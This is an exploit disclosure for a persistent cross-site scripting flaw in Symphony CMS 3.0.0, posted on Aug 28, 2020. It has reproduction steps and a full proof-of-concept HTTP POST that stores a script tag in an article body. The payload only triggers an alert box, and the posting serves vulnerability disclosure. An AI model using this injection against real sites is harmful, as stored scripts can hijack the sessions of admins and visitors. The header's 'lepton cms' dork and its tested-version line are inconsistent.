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Symphony CMS 3.0.0 Cross Site Scripting

Symphony CMS 3.0.0 Cross Site Scripting
Posted Aug 28, 2020
Authored by SunCSR

Symphony CMS version 3.0.0 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 2e44366f893d3e12294a36d49eeaca34428e4d82f50595d15725bbc37035ee42

Symphony CMS 3.0.0 Cross Site Scripting

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# Exploit Title: SymphonyCMS 3.0.0 - Persistent Cross-Site Scripting
# Google Dork: "lepton cms"
# Date: 2020-08-28
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Vendor Homepage: https://www.getsymphony.com/
# Software Link: https://www.getsymphony.com/
# Version: 3.0.0
# Tested on: Windows
# CVE : N/A

Description:
Cross-site scripting (XSS) vulnerabilities in Symphony CMS 3.0.0 allow remote attackers to inject arbitrary web script or HTML

To Reproduce:
Steps to reproduce the behavior:

1. Login as member
2. Go to 'Articles'
3. Submit malicious content
4. Anyone (inclued admin) view article and XSS excuted

Expected behavior
When admin or user view content, a pop-up will be displayed

Affected componets:
events\event.publish_article.php in Symphony CMS 3.0.0 allows XSS via fields['body'] to appendSubheading

POC:

POST /symphonycms/symphony/publish/articles/new/ HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://target/symphonycms/symphony/publish/articles/new/
Content-Type: multipart/form-data; boundary=---------------------------17679481844164416353626544932
Content-Length: 1111
Origin: http://target
Connection: close
Cookie: PHPSESSID=b21qllug0g7ft80ueo3bn0bgcd;
Upgrade-Insecure-Requests: 1

-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="xsrf"

vr-i2mWs18DPjVmZ8z2nB-Gb3hdyrb
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="MAX_FILE_SIZE"

5242880
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="fields[title]"

TEST XSS
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="fields[body]"

<script>alert('XSS')</script>
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="fields[date]"

08/28/2020 5:55 am
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="fields[categories][]"

2
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="fields[publish]"

yes
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="action[save]"

Create Entry
-----------------------------17679481844164416353626544932--

Desktop (please complete the following information):
OS: Windows 10
Browser: Firefox or Chrome
Application: XAMPP, Burpsuite

Additional context
Tested on: 9.03.50 verison
POC at: https://vimeo.com/405740251
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